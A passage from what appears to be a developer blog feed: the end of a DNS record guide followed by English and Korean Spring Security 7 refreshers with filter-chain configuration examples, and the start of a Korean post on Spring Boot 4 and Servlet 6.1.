Now if you change servers (and thus your IP address), you only need to update the A record for example.com. All the CNAMEs automatically follow.

Scenario 2: CDN Integration

You want to use Cloudflare’s CDN:

cdn.example.com    CNAME    example.cloudflarecdn.com

Your CDN provider can manage the underlying infrastructure while you keep a simple CNAME in your DNS.

The CNAME Gotcha

Here’s something that trips people up constantly: you cannot use a CNAME alongside other records for the same hostname.

This is invalid:

example.com    A         192.0.2.1
example.com    CNAME     somewhere.else.com    ❌ CONFLICT!

But this is fine:

example.com        A         192.0.2.1
www.example.com    CNAME     example.com          ✅ Different hostnames

Why? The DNS specification requires that a CNAME record be the only record for that exact name. It’s an exclusive relationship.

NS Record: The Authority Delegation

NS records (Name Server records) are meta-records—they control which DNS servers are authoritative for your domain.

What it does: Specifies which nameservers handle DNS queries for your domain

Why it matters: These records determine where all DNS lookups for your domain are sent

Example:

example.com    NS    ns1.dnsprovider.com
example.com    NS    ns2.dnsprovider.com

How NS Records Work

When someone queries your domain:

Their DNS resolver asks the root DNS servers “Who handles .com?”
Root servers respond with the .com TLD nameservers
The resolver asks TLD servers “Who handles example.com?”
TLD servers respond with your NS records: ns1.dnsprovider.com and ns2.dnsprovider.com
The resolver finally asks those nameservers for the actual A, AAAA, CNAME records

Key insight: NS records are like forwarding addresses. They tell the world “For anything about this domain, ask these servers.”

Multiple Nameservers: Redundancy

You’ll typically see 2-4 NS records for reliability:

example.com    NS    ns1.dnsprovider.com
example.com    NS    ns2.dnsprovider.com
example.com    NS    ns3.dnsprovider.com
example.com    NS    ns4.dnsprovider.com

If one nameserver goes down, the others can still respond. This is critical for availability.

Understanding the Host Field: @, www, and *

When you’re configuring DNS, the “host” or “name” field can be confusing. Let’s demystify the common symbols:

The @ Symbol (Root Domain)

@ represents your root domain—the domain itself without any subdomain prefix.

@    A    192.0.2.1

This creates a record for example.com (not subdomain.example.com).

The www Prefix

This is the classic subdomain for web services:

www    CNAME    example.com

Creates a record for www.example.com pointing to example.com.

The * Wildcard

The wildcard matches any subdomain that doesn’t have a specific record:

*    A    192.0.2.1

This means anything.example.com will resolve to 192.0.2.1 unless there’s a more specific record.

Example with specifics:

example.com          A         192.0.2.1
www.example.com      CNAME     example.com
api.example.com      A         192.0.2.2
*                    A         192.0.2.1

Results:

example.com → 192.0.2.1 (root A record)
www.example.com → 192.0.2.1 (CNAME to root)
api.example.com → 192.0.2.2 (specific A record)
random.example.com → 192.0.2.1 (wildcard catches it)
foo.bar.example.com → 192.0.2.1 (wildcard catches it)

Common Host Field Patterns

Host	Creates	Common Use
`@`	example.com	Root domain
`www`	www.example.com	Web services
`mail`	mail.example.com	Mail server
`api`	api.example.com	API endpoint
`ftp`	ftp.example.com	File transfer
`*`	*.example.com	Wildcard catchall

Industry Trends: What’s Happening Now

Cloud-Native DNS Services

Traditional DNS hosting is giving way to cloud-native solutions. AWS Route 53, Cloudflare DNS, and Google Cloud DNS offer:

Global distribution: Faster lookups from anywhere
Advanced traffic management: Geolocation routing, weighted routing
Integrated security: Built-in DDoS protection, DNSSEC
Programmable infrastructure: Manage DNS via API

If you’re running anything beyond a hobby project, using a specialized DNS service is practically mandatory now.

CDN Integration is Standard

Every major website uses CDN services like Cloudflare, Akamai, or Fastly. CNAME records make this integration trivial:

cdn.example.com    CNAME    example.cdn.cloudflare.net

Your CDN provider handles the global edge network while you maintain a simple DNS record.

IPv6 Adoption is Accelerating

According to Google’s IPv6 statistics, over 40% of users now access their services via IPv6. For mobile networks, it’s even higher—often 70-80%.

Reality check: If you’re launching a mobile app or targeting markets with high mobile penetration (like India, China, or most of Asia), IPv6 isn’t optional anymore.

example.com    A       203.0.113.10      # IPv4
example.com    AAAA    2001:db8::1       # IPv6

Run both. Always.

DNS Security (DNSSEC) is Going Mainstream

DNSSEC adds cryptographic signatures to DNS records, preventing spoofing attacks. Major TLDs (.com, .net, .org) support it, and hosting providers are making it easier to enable.

Without DNSSEC, an attacker could redirect yourbank.com to their fake site. With DNSSEC, such tampering is cryptographically provable and rejected.

Practical Tips: Getting It Right

For New Projects (Short-Term Strategy)

Start with the basics: Set up A records and one CNAME for www

example.com        A         192.0.2.1
www.example.com    CNAME     example.com

Add IPv6 early: Don’t wait until you “need” it
```
example.com    AAAA    2001:db8::1
```
Use a proper DNS provider: Don’t rely on your domain registrar’s free DNS—it’s often slow and limited
Set reasonable TTLs: During initial setup, use short TTLs (300 seconds) so mistakes can be corrected quickly

For Growing Services (Long-Term Strategy)

Choose enterprise DNS: Evaluate AWS Route 53, Cloudflare, or Google Cloud DNS based on:
- Global presence
- Security features (DDoS protection, DNSSEC)
- Traffic routing capabilities
- API integration for automation
Implement monitoring: DNS downtime is total downtime. Monitor your NS records and query response times
Plan for IPv6 transition: Government agencies, large enterprises, and global services should aggressively adopt IPv6
Enable DNSSEC: Especially for financial services, healthcare, or any site handling sensitive data
Document your DNS architecture: Future you (or your successor) will thank you

A Real-World Example: E-Commerce Site

Let’s say you’re building shop.example.com with these requirements:

Main site on AWS
CDN for static assets
Separate API server
Email via Google Workspace
IPv4 and IPv6 support

Your DNS configuration might look like:

; Root domain
example.com             A       203.0.113.10
example.com             AAAA    2001:db8::1

; Web services
www.example.com         CNAME   example.com
shop.example.com        A       203.0.113.20
shop.example.com        AAAA    2001:db8::2

; CDN for assets
cdn.example.com         CNAME   shop.cloudfront.net

; API server
api.example.com         A       203.0.113.30
api.example.com         AAAA    2001:db8::3

; Email (MX records - not covered here, but you get the idea)
example.com             MX      10 aspmx.l.google.com

; Nameservers
example.com             NS      ns1.dnsprovider.com
example.com             NS      ns2.dnsprovider.com
example.com             NS      ns3.dnsprovider.com

Common Mistakes to Avoid

Mistake 1: Using CNAME at the Root

This is wrong:

example.com    CNAME    somewhere.else.com    ❌

The DNS specification doesn’t allow CNAME at the apex (root) domain because it conflicts with required records like NS and SOA.

Solution: Use an A record at the root, or use your DNS provider’s ALIAS/ANAME feature if available.

Mistake 2: Forgetting About TTL

TTL (Time To Live) controls how long DNS records are cached. Setting it too high means changes take forever to propagate. Too low means unnecessary load on your DNS servers.

Good practice:

During active development: 300 seconds (5 minutes)
For stable production: 3600 seconds (1 hour)
Before making changes: Lower TTL 24 hours in advance

Mistake 3: Not Having Redundant Nameservers

Relying on a single NS record is asking for trouble. Always have at least two, preferably on different networks:

example.com    NS    ns1.dnsprovider.com
example.com    NS    ns2.dnsprovider.com

Mistake 4: Ignoring IPv6

“Nobody uses IPv6 yet” is simply false. A significant portion of mobile users are IPv6-only or IPv6-preferred. If you’re not providing AAAA records, you’re degrading their experience or blocking them entirely.

Testing Your DNS Configuration

Before you call it done, test your configuration:

Using dig (Command Line)

# Check A record
dig example.com A

# Check AAAA record
dig example.com AAAA

# Check NS records
dig example.com NS

# Check CNAME
dig www.example.com CNAME

# Full trace (see the entire resolution path)
dig +trace example.com

Using nslookup (Windows)

nslookup example.com

Online Tools

DNS Checker: dnschecker.org - Check propagation globally
What’s My DNS: whatsmydns.net - See DNS responses from different locations
DNS Lookup: mxtoolbox.com - Comprehensive DNS testing

Wrapping Up

DNS essentials in a nutshell:

A records: Domain → IPv4 address (the foundation)
AAAA records: Domain → IPv6 address (the future)
CNAME records: Domain alias (the convenience)
NS records: Nameserver delegation (the meta-layer)

Remember:

Always use multiple NS records for redundancy
Deploy both A and AAAA records for compatibility
CNAME can’t coexist with other records for the same host
Test everything before going live
Use enterprise DNS for production workloads

DNS might seem like plumbing—invisible infrastructure nobody thinks about—but when it breaks, everything stops. Take the time to understand it properly, and you’ll save yourself (and your users) from a world of pain.

Bookmark this page for the next time you’re staring at that DNS configuration panel wondering what all those acronyms mean. You’ll thank yourself later! 🚀

Subscribe via RSS

Spring Security - Your Memory Refresher Guide 🔐

Mon, 12 Jan 2026 11:16:00 +0900

Ever opened up a Spring Security config after a few months away and thought “Wait, what does this even do?” You’re not alone. All those filter chains and security matchers can get jumbled up in your head pretty quickly. This guide will help you rebuild that mental model with Spring Security 7’s core architecture.

The Foundation: Understanding Servlet Filters

Before diving into Spring Security, let’s talk about servlet filters—they’re the foundation everything else builds on.

When a client sends an HTTP request, the servlet container creates a FilterChain containing Filter instances and a final Servlet (in Spring MVC, that’s the DispatcherServlet).

Filters can do two main things:

Block the request from reaching downstream filters or the servlet (usually by writing the response directly)
Modify the request or response before passing it along

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) throws IOException, ServletException {
    // Do something before
    chain.doFilter(request, response); // Pass it along
    // Do something after
}

Here’s the kicker: filter order matters. A lot. Filters execute sequentially, and each one only affects what comes after it.

DelegatingFilterProxy: Bridging Two Worlds

Here’s a problem: servlet containers register filters using their own standards, but they don’t know anything about Spring beans.

Enter DelegatingFilterProxy. It registers with the servlet container but delegates all the actual work to a Spring bean that implements Filter.

public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) {
    Filter delegate = getFilterBean(someBeanName); // Get the Spring bean
    delegate.doFilter(request, response); // Delegate the work
}

Bonus: this allows lazy loading of filter beans. The container needs filters registered early, but Spring beans load later via ContextLoaderListener.

FilterChainProxy: Where the Magic Happens

All of Spring Security’s servlet support lives inside FilterChainProxy. It’s a special filter that can delegate to multiple filter instances through SecurityFilterChain. Since FilterChainProxy is a bean, it’s typically wrapped in a DelegatingFilterProxy.

Why FilterChainProxy rocks:

Single entry point for all Spring Security servlet support (perfect spot for debugging breakpoints)
Clears the SecurityContext to prevent memory leaks
Applies HttpFirewall to protect against certain attacks
Flexible matching based on anything in the HttpServletRequest, not just the URL

SecurityFilterChain: The Actual Filters

SecurityFilterChain determines which Spring Security filters should execute for a given request.

You can have multiple SecurityFilterChain instances in one application. FilterChainProxy picks the right one, and here’s the important part: only the first matching chain executes.

Example flow:

Request to /api/messages/ → matches /api/** pattern in SecurityFilterChain0 → executes that chain only
Request to /messages/ → doesn’t match SecurityFilterChain0 → tries next chains

Each SecurityFilterChain is independently configurable with different numbers of filters. You can even have a chain with zero filters if you want Spring Security to ignore certain requests.

Security Filters: Order Matters

Security filters execute in a specific order. Authentication filters must run before authorization filters, for instance.

Check out this configuration:

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(Customizer.withDefaults())
            .httpBasic(Customizer.withDefaults())
            .formLogin(Customizer.withDefaults())
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().authenticated()
            );
        return http.build();
    }
}

This creates the following filter order:

CsrfFilter - CSRF attack protection
BasicAuthenticationFilter - HTTP Basic authentication
UsernamePasswordAuthenticationFilter - Form login authentication
AuthorizationFilter - Authorization

Getting Started: The Basics

The most basic Spring Security configuration looks like this:

@Configuration
@EnableWebSecurity
public class WebSecurityConfig {
    @Bean
    public UserDetailsService userDetailsService() {
        InMemoryUserDetailsManager manager = new InMemoryUserDetailsManager();
        manager.createUser(User.withDefaultPasswordEncoder()
            .username("user")
            .password("password")
            .roles("USER")
            .build());
        return manager;
    }
}

This simple config gives you:

Authentication required for all URLs
Auto-generated login form
Form-based authentication
Logout support
CSRF attack prevention
Session fixation protection
Security header integration (HSTS, X-Content-Type-Options, etc.)
Servlet API method integration

Not bad for a few lines of code!

HttpSecurity: Fine-Grained Control

That basic config actually creates this SecurityFilterChain behind the scenes:

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .authorizeHttpRequests((authorize) -> authorize
            .anyRequest().authenticated()
        )
        .formLogin(Customizer.withDefaults())
        .httpBasic(Customizer.withDefaults());
    return http.build();
}

This setup:

Requires authentication for every request
Enables form login
Enables HTTP Basic authentication

Multiple HttpSecurity: Different Rules for Different Areas

Real applications often need different security configurations for different parts. Just register multiple SecurityFilterChain beans:

@Configuration
@EnableWebSecurity
public class MultiHttpSecurityConfig {
    @Bean
    public UserDetailsService userDetailsService() {
        UserBuilder users = User.withDefaultPasswordEncoder();
        InMemoryUserDetailsManager manager = new InMemoryUserDetailsManager();
        manager.createUser(users.username("user").password("password").roles("USER").build());
        manager.createUser(users.username("admin").password("password").roles("USER","ADMIN").build());
        return manager;
    }

    @Bean
    @Order(1)  // Higher priority
    public SecurityFilterChain apiFilterChain(HttpSecurity http) throws Exception {
        http
            .securityMatcher("/api/**")  // Only applies to /api/**
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().hasRole("ADMIN")
            )
            .httpBasic(Customizer.withDefaults());
        return http.build();
    }

    @Bean  // No @Order = lowest priority
    public SecurityFilterChain formLoginFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().authenticated()
            )
            .formLogin(Customizer.withDefaults());
        return http.build();
    }
}

securityMatcher vs requestMatchers: Know the Difference

This trips people up all the time:

http.securityMatcher(): Determines which requests this entire SecurityFilterChain applies to
requestMatchers(): Determines which requests individual authorization rules apply to within the chain

@Bean
public SecurityFilterChain securedFilterChain(HttpSecurity http) throws Exception {
    http
        .securityMatcher("/secured/**")  // Chain applies to /secured/** only
        .authorizeHttpRequests((authorize) -> authorize
            .requestMatchers("/secured/user").hasRole("USER")    // Specific rule
            .requestMatchers("/secured/admin").hasRole("ADMIN")  // Specific rule
            .anyRequest().authenticated()
        )
        .httpBasic(Customizer.withDefaults())
        .formLogin(Customizer.withDefaults());
    return http.build();
}

Critical point: If you specify a securityMatcher, only matching requests are protected. Non-matching requests won’t be protected by Spring Security at all! That’s why it’s recommended to have a default chain without a securityMatcher.

SecurityFilterChain Endpoints: A Gotcha

Endpoints provided by the filter chain (like /login, /logout) aren’t automatically affected by securityMatcher:

@Bean
@Order(1)
public SecurityFilterChain securedFilterChain(HttpSecurity http) throws Exception {
    http
        .securityMatcher("/secured/**")
        .authorizeHttpRequests((authorize) -> authorize
            .anyRequest().authenticated()
        )
        .formLogin((formLogin) -> formLogin
            .loginPage("/secured/login")           // Custom path
            .loginProcessingUrl("/secured/login")  // Custom path
            .permitAll()
        )
        .logout((logout) -> logout
            .logoutUrl("/secured/logout")
            .logoutSuccessUrl("/secured/login?logout")
            .permitAll()
        );
    return http.build();
}

@Bean
public SecurityFilterChain defaultFilterChain(HttpSecurity http) throws Exception {
    http
        .authorizeHttpRequests((authorize) -> authorize
            .anyRequest().denyAll()  // Deny everything else
        );
    return http.build();
}

Real-World Example: A Banking System

Let’s look at a more complex, realistic example:

@Configuration
@EnableWebSecurity
public class BankingSecurityConfig {
    @Bean
    public UserDetailsService userDetailsService() {
        UserBuilder users = User.withDefaultPasswordEncoder();
        InMemoryUserDetailsManager manager = new InMemoryUserDetailsManager();
        manager.createUser(users.username("user1").password("password").roles("USER", "VIEW_BALANCE").build());
        manager.createUser(users.username("user2").password("password").roles("USER").build());
        manager.createUser(users.username("admin").password("password").roles("ADMIN").build());
        return manager;
    }

    @Bean
    @Order(1)  // Highest priority
    public SecurityFilterChain approvalsSecurityFilterChain(HttpSecurity http) throws Exception {
        String[] approvalsPaths = { 
            "/accounts/approvals/**", 
            "/loans/approvals/**", 
            "/credit-cards/approvals/**" 
        };
        http
            .securityMatcher(approvalsPaths)
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().hasRole("ADMIN")
            )
            .httpBasic(Customizer.withDefaults());
        return http.build();
    }

    @Bean
    @Order(2)  // Second priority
    public SecurityFilterChain bankingSecurityFilterChain(HttpSecurity http) throws Exception {
        String[] bankingPaths = { "/accounts/**", "/loans/**", "/credit-cards/**", "/balances/**" };
        String[] viewBalancePaths = { "/balances/**" };
        http
            .securityMatcher(bankingPaths)
            .authorizeHttpRequests((authorize) -> authorize
                .requestMatchers(viewBalancePaths).hasRole("VIEW_BALANCE")
                .anyRequest().hasRole("USER")
            );
        return http.build();
    }

    @Bean  // Default chain (lowest priority)
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        String[] allowedPaths = { "/", "/user-login", "/user-logout", "/notices", "/contact", "/register" };
        http
            .authorizeHttpRequests((authorize) -> authorize
                .requestMatchers(allowedPaths).permitAll()
                .anyRequest().authenticated()
            )
            .formLogin((formLogin) -> formLogin
                .loginPage("/user-login")
                .loginProcessingUrl("/user-login")
            )
            .logout((logout) -> logout
                .logoutUrl("/user-logout")
                .logoutSuccessUrl("/?logout")
            );
        return http.build();
    }
}

How this works:

Approval paths (@Order(1)): /accounts/approvals/**, /loans/approvals/**, /credit-cards/approvals/** require ADMIN role and use HTTP Basic auth
Banking paths (@Order(2)): For /accounts/**, /loans/**, /credit-cards/**, /balances/**:
- /balances/** requires VIEW_BALANCE role
- Everything else requires USER role
- Requests with /approvals/ already matched the first chain, so they won’t hit this one
Default paths (lowest priority):
- /, /user-login, /user-logout, /notices, /contact, /register are publicly accessible
- Everything else requires authentication
- Uses form login

Wrapping Up

Spring Security essentials in a nutshell:

Filter-based architecture: Built on servlet filters
DelegatingFilterProxy: Bridges servlet container and Spring
FilterChainProxy: Routes requests to the right SecurityFilterChain
SecurityFilterChain: Collection of actual security filters
Priority: Use @Order to control chain execution order
Matcher distinction: securityMatcher (chain scope) vs requestMatchers (individual rules)

Bookmark this page for the next time you need to dust off your Spring Security knowledge. You’ll thank yourself later! 🚀

스프링 시큐리티, 이 글 하나로 기억 되살리기 🔐

Fri, 09 Jan 2026 13:00:00 +0900

오랜만에 스프링 시큐리티 설정을 만지려고 하면 “어, 이게 뭐였지?” 싶은 순간이 오죠. 필터 체인이니 뭐니 하는 용어들이 머릿속에서 뒤죽박죽 섞여버립니다. 이 글은 그런 분들을 위해 스프링 시큐리티 7의 핵심 아키텍처를 쉽게 정리했습니다.

시작하기 전에: 서블릿 필터부터 이해하자

스프링 시큐리티를 이해하려면 먼저 서블릿 필터가 뭔지 알아야 합니다.

클라이언트가 HTTP 요청을 보내면, 서블릿 컨테이너는 FilterChain을 만듭니다. 이 체인에는 여러 Filter 인스턴스들과 최종 목적지인 Servlet(스프링 MVC에서는 DispatcherServlet)이 포함되어 있죠.

필터는 두 가지 일을 할 수 있습니다:

요청을 가로채서 뒤에 있는 필터나 서블릿이 실행되지 않게 막기 (주로 응답을 직접 작성)
요청이나 응답을 수정해서 다음 단계로 넘기기

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) throws IOException, ServletException {
    // 애플리케이션 실행 전에 뭔가 하고
    chain.doFilter(request, response); // 다음 단계로 넘기고
    // 애플리케이션 실행 후에 뭔가 하기
}

여기서 중요한 점: 필터의 순서가 매우 중요합니다. 필터는 앞에서부터 순차적으로 실행되고, 각 필터는 자기 뒤에 있는 것들에만 영향을 주니까요.

DelegatingFilterProxy: 스프링과 서블릿 컨테이너를 연결하는 다리

여기서 문제가 하나 있습니다. 서블릿 컨테이너는 자체 표준으로 필터를 등록하는데, 스프링 빈에 대해서는 모릅니다.

DelegatingFilterProxy가 바로 이 문제를 해결합니다. 서블릿 컨테이너에는 DelegatingFilterProxy를 등록하고, 실제 작업은 스프링 빈으로 등록된 필터에게 위임하는 거죠.

public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) {
    Filter delegate = getFilterBean(someBeanName); // 스프링 빈 가져오기
    delegate.doFilter(request, response); // 실제 작업 위임
}

이렇게 하면 필터 빈을 지연 로딩할 수 있다는 장점도 있습니다. 서블릿 컨테이너는 필터를 먼저 등록해야 하는데, 스프링 빈은 그보다 나중에 로드되거든요.

FilterChainProxy: 스프링 시큐리티의 핵심

스프링 시큐리티의 서블릿 지원은 모두 FilterChainProxy 안에 들어있습니다. 이 녀석은 스프링 시큐리티가 제공하는 특별한 필터로, 여러 필터 인스턴스에게 작업을 위임할 수 있습니다. FilterChainProxy는 빈이기 때문에 보통 DelegatingFilterProxy로 감싸져 있죠.

FilterChainProxy가 제공하는 장점들:

스프링 시큐리티의 서블릿 지원 시작점 역할 (디버깅할 때 여기에 브레이크포인트 걸면 좋음)
SecurityContext를 정리해서 메모리 누수 방지
HttpFirewall을 적용해서 특정 공격으로부터 보호
URL뿐만 아니라 HttpServletRequest의 다른 요소들도 고려해서 필터 체인 결정

SecurityFilterChain: 실제 필터들의 집합

SecurityFilterChain은 FilterChainProxy가 현재 요청에 대해 어떤 스프링 시큐리티 필터들을 실행할지 결정하는 데 사용됩니다.

하나의 애플리케이션에 여러 개의 SecurityFilterChain이 있을 수 있습니다. FilterChainProxy는 어떤 체인을 사용할지 결정하는데, 처음으로 매칭되는 체인만 실행됩니다.

예를 들어:

/api/messages/ 요청이 오면 → /api/** 패턴의 SecurityFilterChain0에 먼저 매칭되어 실행
/messages/ 요청이 오면 → SecurityFilterChain0에 안 맞으니 다음 체인들을 시도

각 SecurityFilterChain은 독립적으로 설정할 수 있고, 포함된 필터의 개수도 다를 수 있습니다. 심지어 필터가 0개인 체인도 만들 수 있어요 (특정 요청을 스프링 시큐리티가 무시하게 하려면).

Security Filters: 실행 순서가 중요하다

보안 필터들은 특정 순서대로 실행됩니다. 예를 들어 인증을 수행하는 필터가 인가를 수행하는 필터보다 먼저 실행되어야겠죠?

다음 설정을 보세요:

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(Customizer.withDefaults())
            .httpBasic(Customizer.withDefaults())
            .formLogin(Customizer.withDefaults())
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().authenticated()
            );
        return http.build();
    }
}

이 설정은 다음 순서로 필터를 실행합니다:

CsrfFilter - CSRF 공격 방어
BasicAuthenticationFilter - HTTP Basic 인증
UsernamePasswordAuthenticationFilter - 폼 로그인 인증
AuthorizationFilter - 인가 처리

실전 설정: 기본부터 시작하기

가장 기본적인 스프링 시큐리티 설정은 이렇습니다:

@Configuration
@EnableWebSecurity
public class WebSecurityConfig {
    @Bean
    public UserDetailsService userDetailsService() {
        InMemoryUserDetailsManager manager = new InMemoryUserDetailsManager();
        manager.createUser(User.withDefaultPasswordEncoder()
            .username("user")
            .password("password")
            .roles("USER")
            .build());
        return manager;
    }
}

이 간단한 설정만으로도:

모든 URL에 대해 인증 요구
로그인 폼 자동 생성
폼 기반 인증 지원
로그아웃 지원
CSRF 공격 방어
세션 고정 공격 방어
보안 헤더 통합 (HSTS, X-Content-Type-Options 등)
서블릿 API 메서드 통합

이 모든 게 작동합니다!

HttpSecurity: 세밀한 제어

위의 기본 설정은 사실 내부적으로 이런 SecurityFilterChain을 만듭니다:

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .authorizeHttpRequests((authorize) -> authorize
            .anyRequest().authenticated()
        )
        .formLogin(Customizer.withDefaults())
        .httpBasic(Customizer.withDefaults());
    return http.build();
}

이 설정은:

모든 요청에 인증 필요
폼 로그인 허용
HTTP Basic 인증 허용

여러 개의 HttpSecurity: 영역별로 다른 보안 설정

실제 애플리케이션에서는 영역마다 다른 보안 설정이 필요할 때가 많습니다. 여러 개의 SecurityFilterChain 빈을 등록하면 됩니다:

@Configuration
@EnableWebSecurity
public class MultiHttpSecurityConfig {
    @Bean
    public UserDetailsService userDetailsService() {
        UserBuilder users = User.withDefaultPasswordEncoder();
        InMemoryUserDetailsManager manager = new InMemoryUserDetailsManager();
        manager.createUser(users.username("user").password("password").roles("USER").build());
        manager.createUser(users.username("admin").password("password").roles("USER","ADMIN").build());
        return manager;
    }

    @Bean
    @Order(1)  // 우선순위 높음
    public SecurityFilterChain apiFilterChain(HttpSecurity http) throws Exception {
        http
            .securityMatcher("/api/**")  // /api/**에만 적용
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().hasRole("ADMIN")
            )
            .httpBasic(Customizer.withDefaults());
        return http.build();
    }

    @Bean  // @Order 없으면 가장 낮은 우선순위
    public SecurityFilterChain formLoginFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().authenticated()
            )
            .formLogin(Customizer.withDefaults());
        return http.build();
    }
}

securityMatcher vs requestMatchers: 뭐가 다른가?

헷갈리기 쉬운 부분입니다:

http.securityMatcher(): 이 SecurityFilterChain 자체가 어떤 요청에 적용될지 결정
requestMatchers(): 체인 안에서 개별 인가 규칙이 어떤 요청에 적용될지 결정

@Bean
public SecurityFilterChain securedFilterChain(HttpSecurity http) throws Exception {
    http
        .securityMatcher("/secured/**")  // 이 체인은 /secured/**에만 적용
        .authorizeHttpRequests((authorize) -> authorize
            .requestMatchers("/secured/user").hasRole("USER")    // 세부 규칙
            .requestMatchers("/secured/admin").hasRole("ADMIN")  // 세부 규칙
            .anyRequest().authenticated()
        )
        .httpBasic(Customizer.withDefaults())
        .formLogin(Customizer.withDefaults());
    return http.build();
}

중요: securityMatcher를 지정하면 매칭되는 요청만 보호됩니다. 매칭 안 되는 요청은 스프링 시큐리티가 보호하지 않아요! 따라서 securityMatcher 없는 기본 체인을 하나 두는 게 좋습니다.

SecurityFilterChain 엔드포인트 주의사항

필터 체인이 제공하는 엔드포인트(예: /login, /logout)는 securityMatcher의 영향을 자동으로 받지 않습니다:

@Bean
@Order(1)
public SecurityFilterChain securedFilterChain(HttpSecurity http) throws Exception {
    http
        .securityMatcher("/secured/**")
        .authorizeHttpRequests((authorize) -> authorize
            .anyRequest().authenticated()
        )
        .formLogin((formLogin) -> formLogin
            .loginPage("/secured/login")           // 커스텀 경로
            .loginProcessingUrl("/secured/login")  // 커스텀 경로
            .permitAll()
        )
        .logout((logout) -> logout
            .logoutUrl("/secured/logout")
            .logoutSuccessUrl("/secured/login?logout")
            .permitAll()
        );
    return http.build();
}

@Bean
public SecurityFilterChain defaultFilterChain(HttpSecurity http) throws Exception {
    http
        .authorizeHttpRequests((authorize) -> authorize
            .anyRequest().denyAll()  // 나머지는 모두 거부
        );
    return http.build();
}

실전 예제: 뱅킹 시스템

마지막으로 실제 서비스처럼 복잡한 예제를 봅시다:

@Configuration
@EnableWebSecurity
public class BankingSecurityConfig {
    @Bean
    public UserDetailsService userDetailsService() {
        UserBuilder users = User.withDefaultPasswordEncoder();
        InMemoryUserDetailsManager manager = new InMemoryUserDetailsManager();
        manager.createUser(users.username("user1").password("password").roles("USER", "VIEW_BALANCE").build());
        manager.createUser(users.username("user2").password("password").roles("USER").build());
        manager.createUser(users.username("admin").password("password").roles("ADMIN").build());
        return manager;
    }

    @Bean
    @Order(1)  // 가장 높은 우선순위
    public SecurityFilterChain approvalsSecurityFilterChain(HttpSecurity http) throws Exception {
        String[] approvalsPaths = { 
            "/accounts/approvals/**", 
            "/loans/approvals/**", 
            "/credit-cards/approvals/**" 
        };
        http
            .securityMatcher(approvalsPaths)
            .authorizeHttpRequests((authorize) -> authorize
                .anyRequest().hasRole("ADMIN")
            )
            .httpBasic(Customizer.withDefaults());
        return http.build();
    }

    @Bean
    @Order(2)  // 두 번째 우선순위
    public SecurityFilterChain bankingSecurityFilterChain(HttpSecurity http) throws Exception {
        String[] bankingPaths = { "/accounts/**", "/loans/**", "/credit-cards/**", "/balances/**" };
        String[] viewBalancePaths = { "/balances/**" };
        http
            .securityMatcher(bankingPaths)
            .authorizeHttpRequests((authorize) -> authorize
                .requestMatchers(viewBalancePaths).hasRole("VIEW_BALANCE")
                .anyRequest().hasRole("USER")
            );
        return http.build();
    }

    @Bean  // 기본 체인 (가장 낮은 우선순위)
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        String[] allowedPaths = { "/", "/user-login", "/user-logout", "/notices", "/contact", "/register" };
        http
            .authorizeHttpRequests((authorize) -> authorize
                .requestMatchers(allowedPaths).permitAll()
                .anyRequest().authenticated()
            )
            .formLogin((formLogin) -> formLogin
                .loginPage("/user-login")
                .loginProcessingUrl("/user-login")
            )
            .logout((logout) -> logout
                .logoutUrl("/user-logout")
                .logoutSuccessUrl("/?logout")
            );
        return http.build();
    }
}

이 설정의 로직:

승인 관련 경로 (@Order(1)): /accounts/approvals/**, /loans/approvals/**, /credit-cards/approvals/**는 ADMIN 권한 필요, HTTP Basic 인증 사용
뱅킹 경로 (@Order(2)): /accounts/**, /loans/**, /credit-cards/**, /balances/** 중에서
- /balances/**는 VIEW_BALANCE 권한 필요
- 나머지는 USER 권한 필요
- /approvals/가 포함된 요청은 이미 첫 번째 체인에서 처리되므로 여기선 안 걸림
기본 경로 (우선순위 가장 낮음):
- /, /user-login, /user-logout, /notices, /contact, /register는 인증 없이 접근 가능
- 나머지는 인증 필요
- 폼 로그인 사용

마무리하며

스프링 시큐리티의 핵심을 정리하면:

필터 체인 기반 아키텍처: 서블릿 필터를 기반으로 작동
DelegatingFilterProxy: 서블릿 컨테이너와 스프링을 연결
FilterChainProxy: 여러 SecurityFilterChain 중 적절한 것을 선택
SecurityFilterChain: 실제 보안 필터들의 집합
우선순위: @Order로 체인 실행 순서 제어
매처 구분: securityMatcher(체인 적용 범위) vs requestMatchers(개별 규칙)

이 글이 오랜만에 스프링 시큐리티를 만지는 분들께 도움이 되길 바랍니다. 기억이 가물가물할 때 다시 읽어보세요! 🚀

Spring Boot 4와 Servlet 6.1 - 현대적 웹 애플리케이션으로의 진화

Tue, 06 Jan 2026 13:00:00 +0900

들어가며

Spring Boot 4가 출시되면서 가장 큰 변화 중 하나는 Servlet 6.1을 필수로 요구한다는 점입니다. 이번 글에서는 Servlet의 역사부터 Spring Boot와의 관계, 그리고 최신 변화까지 살펴보겠습니다.

Servlet이란 무엇인가?

Servlet은 Java로 웹 애플리케이션을 만들 때 HTTP 요청을 처리하는 서버 측 프로그램입니다. Spring Boot로 API를 만들면, 내부적으로는 Servlet 기술이 동작하고 있습니다. Spring의 DispatcherServlet도 결국 Servlet을 확장한 것이죠.

쉽게 말해, Servlet은 웹 서버와 애플리케이션 사이의 통역사 역할을 합니다. 사용자의 요청을 받아서 Java 코드로 전달하고, 그 결과를 다시 HTTP 응답으로 변환해주는 거죠.

Spring Boot와 Servlet의 관계

